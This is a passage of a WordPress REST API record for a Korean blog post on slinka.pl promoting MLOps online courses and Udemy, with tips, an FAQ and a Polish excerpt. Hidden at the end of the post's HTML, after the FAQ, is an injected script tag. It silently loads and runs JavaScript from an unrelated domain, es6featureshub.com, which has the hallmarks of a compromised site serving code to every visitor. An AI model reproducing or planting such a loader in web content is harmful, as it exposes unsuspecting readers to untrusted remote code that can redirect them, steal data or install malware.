start=\"5\">\n<li><span style=\"font-weight: 400;\"> \ucd5c\uc2e0 \uc18c\uc2dd\uc744 \ubc1b\uc544\ubcf4\uc138\uc694<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ube14\ub85c\uadf8\uc640 \uc5f0\uad6c \uae30\uc0ac \uc77d\uae30: MLOps \ube14\ub85c\uadf8, \ub274\uc2a4\ub808\ud130, \ucee8\ud37c\ub7f0\uc2a4\ub97c \ud314\ub85c\uc6b0\ud558\uc5ec \ub3d9\ud5a5\uacfc \ud558\ub4dc\uc6e8\uc5b4\uc5d0 \ub300\ud55c \ucd5c\uc2e0 \uc815\ubcf4\ub97c \uc5bb\uc73c\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\ucee4\ubba4\ub2c8\ud2f0\uc5d0 \ucc38\uc5ec\ud558\uc138\uc694: LinkedIn, GitHub, Reddit, Discord \ub4f1\uc758 \ud50c\ub7ab\ud3fc\uc5d0\uc11c MLOps \uadf8\ub8f9\uc5d0 \uc5f0\uacb0\ud558\uc138\uc694.<\/span><\/li>\n<\/ul>\n<ol start=\"6\">\n<li><span style=\"font-weight: 400;\"> \uc2e4\uc81c \uc2dc\ub098\ub9ac\uc624\uc5d0\uc11c \ubc30\uc6b0\uae30<\/span><\/li>\n<\/ol>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc624\ud508 \uc18c\uc2a4\uc5d0 \uae30\uc5ec\ud558\uc138\uc694: MLOps \uad00\ub828 \uc624\ud508 \uc18c\uc2a4 \ud504\ub85c\uc81d\ud2b8\uc5d0 \ud611\uc5c5\ud558\uc138\uc694.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc0ac\ub840 \uc5f0\uad6c \uc0b4\ud3b4\ubcf4\uae30: \uadf8\ub8f9\uc774 MLOps\ub97c \uc6cc\ud06c\ud50c\ub85c\uc5d0 \uc5b4\ub5bb\uac8c \uad6c\ud604\ud558\ub294\uc9c0 \ubd84\uc11d\ud569\ub2c8\ub2e4.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">\uc774\ub7ec\ud55c \ub2e8\uacc4\ub97c \uacb0\ud569\ud558\uba74 MLOps \uae30\uc220\uc774 \uc810\uc9c4\uc801\uc73c\ub85c \uac15\ud654\ub418\uace0 \ud504\ub85c\ub355\uc158\uc5d0\uc11c \uba38\uc2e0 \ub7ec\ub2dd \ud504\ub808\uc784\uc6cc\ud06c\ub97c \uad6c\ud604\ud558\uace0 \ucc98\ub9ac\ud558\ub294 \ub370 \ub530\ub978 \uae4c\ub2e4\ub85c\uc6b4 \uc0c1\ud669\uc744 \ucc98\ub9ac\ud558\ub294 \ub370 \ub354 \uc798 \ub300\ube44\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/span><\/li>\n<\/ul>\n<h3><span style=\"font-weight: 400;\">\uc560\ud50c\ub9ac\ucf00\uc774\uc158<\/span><\/h3>\n<p><span style=\"font-weight: 400;\"><a href=\"https:\/\/en.wikipedia.org\/wiki\/MLOps\" target=\"_blank\" rel=\"noopener\">MLOps \uc628\ub77c\uc778 \uacfc\uc815<\/a> \uc218\uc694\uac00 \ub9ce\uc740 \uae30\uc220\uc744 \ud65c\uc6a9\ud558\uace0 \uc778\uacf5\uc9c0\ub2a5 \ubc0f \uba38\uc2e0\ub7ec\ub2dd \ubd84\uc57c\uc5d0\uc11c \uacbd\ub825\uc744 \ubc1c\uc804\uc2dc\ud0ac \uc218 \uc788\ub294 \uc811\uadfc \uac00\ub2a5\ud55c \ubc29\ubc95\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4. \ucd08\ubcf4\uc790\ub97c \uc704\ud55c \uc7ac\ubbf8\uc788\ub294 \uc18c\uac1c\ubd80\ud130 \uc9d1\uc911 \ud6c8\ub828 \ucea0\ud504\uae4c\uc9c0, \ubaa8\ub4e0 \uc0ac\ub78c\uc744 \uc704\ud55c \ud504\ub85c\uadf8\ub7a8\uc774 \uc788\uc2b5\ub2c8\ub2e4. \uc5d0 \uc758\ud574 <\/span><a href=\"https:\/\/slinka.pl\/kr\/auso\/\" target=\"_blank\" rel=\"nofollow noopener\"><span style=\"font-weight: 400;\">\uc62c\ubc14\ub978 \ucf54\uc2a4\ub97c \uc120\ud0dd\ud558\ub2e4<\/span><\/a><span style=\"font-weight: 400;\">\uc2dc\uac04\uc744 \ub0b4\uc5b4 \uc2e4\ubb34\uc5d0 \uc9d1\uc911\ud558\uace0 \ube44\uc988\ub2c8\uc2a4 \uac1c\ubc1c \ucd5c\uc2e0 \uc815\ubcf4\ub97c \uc5bb\uc73c\uba74 \ube60\ub974\uac8c \uc9c4\ud654\ud558\ub294 AI \ud658\uacbd\uc5d0\uc11c \uc778\uae30 \uc788\ub294 MLOps \uc804\ubb38\uac00\uac00 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\uae30\uc220\uc744 \ud655\uc7a5\ud558\ub824\ub294 \ub370\uc774\ud130 \uacfc\ud559\uc790\uc774\ub4e0 MLOps\uc5d0 \uc9d1\uc911\ud558\ub824\ub294 \uc5d4\uc9c0\ub2c8\uc5b4\uc774\ub4e0 Udemy\ub97c \ud655\uc778\ud558\uace0 \uc628\ub77c\uc778 MLOps \uacfc\uc815\uc744 \ucc3e\uc544\ubcf4\uc138\uc694.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">MLOps \uc628\ub77c\uc778 \ucf54\uc2a4\uc5d0 \ub300\ud55c \uc790\uc138\ud55c \ub0b4\uc6a9\uc740 \ub2e4\uc74c\uc744 \ubc29\ubb38\ud558\uc138\uc694. <a href=\"https:\/\/slinka.pl\/kr\/\">\uc2ac\ub9b0\uce74<\/a>.\u00a0<\/span><\/p>\n<h3><span style=\"font-weight: 400;\">\uc790\uc8fc \ubb3b\ub294 \uc9c8\ubb38<\/span><\/h3>\n<div class=\"su-accordion su-u-trim\"><div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>MLOps\ub97c \ubc30\uc6b0\ub294 \ub370 \uc5bc\ub9c8\ub098 \uac78\ub9ac\ub098\uc694?<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">MLOps\ub97c \ubc30\uc6b0\ub294 \ub370\ub294 \uc774\uc804 \uacbd\ud5d8\uacfc \ud559\uc2b5 \uc18d\ub3c4\uc5d0 \ub530\ub77c 3~6\uac1c\uc6d4\uc774 \uac78\ub9b4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/div><\/div> <div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>\uba38\uc2e0 \ub7ec\ub2dd \uacbd\ud5d8\uc774 \uc5c6\uc5b4\ub3c4 MLOps \uacfc\uc815\uc744 \uc218\uac15\ud560 \uc218 \uc788\ub098\uc694?<br \/>\n<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">\ub124. \ud558\uc9c0\ub9cc \uba38\uc2e0 \ub7ec\ub2dd\uc5d0 \ub300\ud55c \uae30\ubcf8\uc801\uc778 \uc774\ud574\uac00 \uc788\uc73c\uba74 MLOps \uac1c\ub150\uc5d0 \ub300\ud55c \uc774\ud574\uac00 \ud06c\uac8c \ud5a5\uc0c1\ub420 \uac83\uc785\ub2c8\ub2e4.<\/div><\/div> <div class=\"su-spoiler su-spoiler-style-default su-spoiler-icon-plus su-spoiler-closed\" data-scroll-offset=\"0\" data-anchor-in-url=\"no\"><div class=\"su-spoiler-title\" tabindex=\"0\" role=\"button\"><span class=\"su-spoiler-icon\"><\/span>MLOps \uc5d4\uc9c0\ub2c8\uc5b4 \uad50\uc721\uc740 \ub0b4 \uacbd\ub825 \ubc1c\uc804\uc5d0 \uc5b4\ub5bb\uac8c \ub3c4\uc6c0\uc774 \ub418\ub098\uc694?<br \/>\n<\/div><div class=\"su-spoiler-content su-u-clearfix su-u-trim\">MLOps \uad50\uc721\uc740 \uae30\uc220\uc801 \ub2a5\ub825\uc744 \ud5a5\uc0c1\uc2dc\ud0a4\uace0, \ucde8\uc5c5 \uac00\ub2a5\uc131\uc744 \ub192\uc774\uba70, AI \ud504\ub85c\uc81d\ud2b8\uc5d0 \ub300\ud55c \uc5c5\uacc4 \uc694\uad6c \uc0ac\ud56d\uc5d0 \ub9de\ucdb0 \uc804\ubb38 \uc9c0\uc2dd\uc744 \uc870\uc815\ud569\ub2c8\ub2e4.<\/div><\/div><\/div><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>W miar\u0119 jak firmy na ca\u0142ym \u015bwiecie wdra\u017caj\u0105 rozwi\u0105zania AI, zapotrzebowanie na profesjonalnych specjalist\u00f3w MLOps gwa\u0142townie wzros\u0142o. Aby sprosta\u0107 temu zapotrzebowaniu, pojawi\u0142o si\u0119 wiele przewodnik\u00f3w internetowych oferuj\u0105cych dost\u0119pne i Internetowe kursy MLOps. W 2025 r. cenne sta\u0142o si\u0119 r\u00f3wnie\u017c zapotrzebowanie na zestawy umiej\u0119tno\u015bci MLOP, dlatego znajomo\u015b\u0107 tych zestaw\u00f3w umiej\u0119tno\u015bci mo\u017ce zapewni\u0107 Ci prac\u0119 w sektorze [&hellip;]<\/p>","protected":false},"author":2,"featured_media":7882,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[146,142],"tags":[],"class_list":["post-7880","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-kariera","category-udemy"],"_links":{"self":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/7880","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/comments?post=7880"}],"version-history":[{"count":4,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/7880\/revisions"}],"predecessor-version":[{"id":11710,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/posts\/7880\/revisions\/11710"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/media\/7882"}],"wp:attachment":[{"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/media?parent=7880"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/categories?post=7880"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/slinka.pl\/kr\/wp-json\/wp\/v2\/tags?post=7880"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}